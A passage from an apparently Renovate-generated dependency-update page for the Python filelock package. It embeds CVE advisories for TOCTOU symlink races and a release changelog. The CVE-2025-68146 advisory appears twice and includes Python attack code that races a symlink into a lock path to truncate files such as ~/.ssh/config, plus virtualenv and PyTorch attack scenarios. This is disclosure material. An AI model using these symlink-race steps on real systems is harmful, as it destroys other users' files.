[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.30.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.0) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.7...3.30.0) <!-- Release notes generated using configuration in .github/release.yaml at 3.30.0 --> #### What's Changed - 🎨 style: readability cleanup across the library by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#598](https://redirect.github.com/tox-dev/filelock/pull/598) - 🐛 fix(api): ignore lifetime on native OS locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#593](https://redirect.github.com/tox-dev/filelock/pull/593) - 🐛 fix(unix): don't mutate lock file before acquiring flock by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#594](https://redirect.github.com/tox-dev/filelock/pull/594) - soft: evict a non-regular lock file without reading it by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#597](https://redirect.github.com/tox-dev/filelock/pull/597) - 🐛 fix(windows): bind reparse-point check to the locked handle by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#596](https://redirect.github.com/tox-dev/filelock/pull/596) - 🐛 fix(api): make native lock release transactional by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#615](https://redirect.github.com/tox-dev/filelock/pull/615) - 🐛 fix(soft): make marker writes and cleanup transactional by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#614](https://redirect.github.com/tox-dev/filelock/pull/614) - 🐛 fix(windows): open the lock file through NtCreateFile by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#617](https://redirect.github.com/tox-dev/filelock/pull/617) - ✨ feat(api): add context\_error\_policy for dual context failures by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#618](https://redirect.github.com/tox-dev/filelock/pull/618) - 📝 docs: correct Unix lock-file cleanup and flock claims by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#623](https://redirect.github.com/tox-dev/filelock/pull/623) - ✨ feat(api): add close\_error\_policy for post-unlock close errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#619](https://redirect.github.com/tox-dev/filelock/pull/619) - 🐛 fix(api): canonicalize singleton keys without following a final symlink by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#621](https://redirect.github.com/tox-dev/filelock/pull/621) - ✨ feat(unix): add fallback\_to\_soft opt-out for native locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#622](https://redirect.github.com/tox-dev/filelock/pull/622) - ✨ feat: add lock\_descriptor for a caller-owned descriptor by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#620](https://redirect.github.com/tox-dev/filelock/pull/620) - ✨ feat(api): add preserve\_lock\_file to keep the lock pathname by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#624](https://redirect.github.com/tox-dev/filelock/pull/624) - ✨ feat(api): add on\_acquired post-acquisition hook by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#625](https://redirect.github.com/tox-dev/filelock/pull/625) - 🔧 build(release): towncrier changelog pipeline, backfill, and docs by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#626](https://redirect.github.com/tox-dev/filelock/pull/626) - 📝 docs: drop bot entries and link code refs in the changelog by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#638](https://redirect.github.com/tox-dev/filelock/pull/638) - 🐛 fix(api): validate lifetime values by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#644](https://redirect.github.com/tox-dev/filelock/pull/644) - 🐛 fix(win32): capture process probe errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#645](https://redirect.github.com/tox-dev/filelock/pull/645) - 🐛 fix(api): reject dropped lock options by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#646](https://redirect.github.com/tox-dev/filelock/pull/646) - 🐛 fix(api): retain acquisition path identity by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#647](https://redirect.github.com/tox-dev/filelock/pull/647) - 🐛 fix(api): detach grouped release errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#648](https://redirect.github.com/tox-dev/filelock/pull/648) - 🐛 fix(descriptor): define unavailable behavior by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#650](https://redirect.github.com/tox-dev/filelock/pull/650) - 🐛 fix(ci): map absolute coverage paths by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#651](https://redirect.github.com/tox-dev/filelock/pull/651) - 🐛 fix(soft): relinquish fd before close by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#649](https://redirect.github.com/tox-dev/filelock/pull/649) - 🐛 fix(async): make cancellation atomic by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#652](https://redirect.github.com/tox-dev/filelock/pull/652) - 🐛 fix(sqlite): isolate forked connections by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#657](https://redirect.github.com/tox-dev/filelock/pull/657) - 🧪 test(conftest): scope the close mock to one descriptor by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#656](https://redirect.github.com/tox-dev/filelock/pull/656) - ✨ feat(soft): add strict soft locks and leases by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#658](https://redirect.github.com/tox-dev/filelock/pull/658) - ✨ feat(strict): replace shared markers with owner claims by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#659](https://redirect.github.com/tox-dev/filelock/pull/659) - 🐛 fix(soft): detect a reused PID via process start time by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#660](https://redirect.github.com/tox-dev/filelock/pull/660) - 🔒 fix(soft): fail safe on transient heartbeat errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#661](https://redirect.github.com/tox-dev/filelock/pull/661) - 📝 docs: state the lock trust boundaries once by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#663](https://redirect.github.com/tox-dev/filelock/pull/663) - 👷 ci(perf): add the performance and NFS matrix by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#664](https://redirect.github.com/tox-dev/filelock/pull/664) - Replace prettier with mdformat and yamlfmt by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#667](https://redirect.github.com/tox-dev/filelock/pull/667) - 👷 ci(matrix): add SMB, capability, and matrix docs by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#665](https://redirect.github.com/tox-dev/filelock/pull/665) **Full Changelog**: <tox-dev/filelock@3.29.7...3.30.0> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://redirect.github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19--> Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot
added a commit
to coopnorge/engineering-docker-images
that referenced
this pull request
Jul 16, 2026
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.7` → `3.30.0` |  |  | --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - 